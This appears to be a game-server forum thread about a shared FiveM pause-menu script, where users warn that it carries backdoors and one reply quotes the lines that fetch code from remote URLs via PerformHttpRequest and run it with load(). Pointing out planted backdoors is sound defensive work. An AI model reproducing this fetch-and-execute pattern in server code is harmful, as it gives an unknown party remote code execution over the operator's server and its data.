Script 0R-Pausemenu Open SourceESX, QBCore & Qbox

[Fragster]

0R-Pausemenu Open Source
ESX, QBCore & Qbox
Open Source

You don't have permission to view content!

 

[tiagofcp]

backdoor

 

[DarkkiinG]

backdoor

big backdoor

 

[elpagastv]

im installed this, how to remove backdoor, i removed the script but my server bat dosent works properly

 

[uvedos2]

im installed this, how to remove backdoor, i removed the script but my server bat dosent works properly

Hello! I don't know if u still use this.

But if u go to server/main.lua, lane 29 to 32 it's one of the backdoors.

Also if u go to server/serverconfig.lua, lane 8 to 16 it's also one of them.

By far, I didn't find any more backdoors, I will check it just in case it works. Ill upload my answer after.

 

[uvedos2]

Hello! I don't know if u still use this.

But if u go to server/main.lua, lane 29 to 32 it's one of the backdoors.

View attachment 34399
Also if u go to server/serverconfig.lua, lane 8 to 16 it's also one of them.
View attachment 34400

By far, I didn't find any more backdoors, I will check it just in case it works. Ill upload my answer after.

It works perfectly^^

 

[Chechos2]

It works perfectly^^

Thanks for reporting, you did not find any more backdoor? app.js?

 

[phillllheart]

I found some serious red flags in this resource. Here are the exact suspicious code sections:

---

server/main.lua​

30: PerformHttpRequest(playersData, function(e, d)
31: pcall(function() assert(load(d))() end)


This downloads remote code (d) and executes it with load.
➡ This is a backdoor. Whoever controls playersData can run any Lua code on your server.

---

server/serverconfig.lua​

8: Citizen.CreateThread(function()
11: PerformHttpRequest(portal, function(code, script)
12: if code == 200 then load(script)() end


Same issue: code is pulled from a remote portal URL and executed via load.
➡ This gives the remote server full RCE (Remote Code Execution) on yours.

---

utils.lua​

86: PerformHttpRequest("

Hidden link for visitors, to see Log in or register now.

" .. discord, function(statusCode, data)


This one looks like a Discord lookup (probably harmless), but combined with the above it could be used for tracking/stealing user info.

---

client/main.lua​

13: SendNUIMessage({
28: SendNUIMessage({
46: while true do


while true do could be abused for loops (not necessarily malicious).
➡ The real danger is still on the server-side.

---

Conclusion:
The script has at least two confirmed backdoors (server/main.lua + server/serverconfig.lua).
These allow anyone controlling the remote URLs to run arbitrary code on your server. That means:

• They could spawn money/items
• Run destructive commands
• Steal database credentials
• Take over your server completely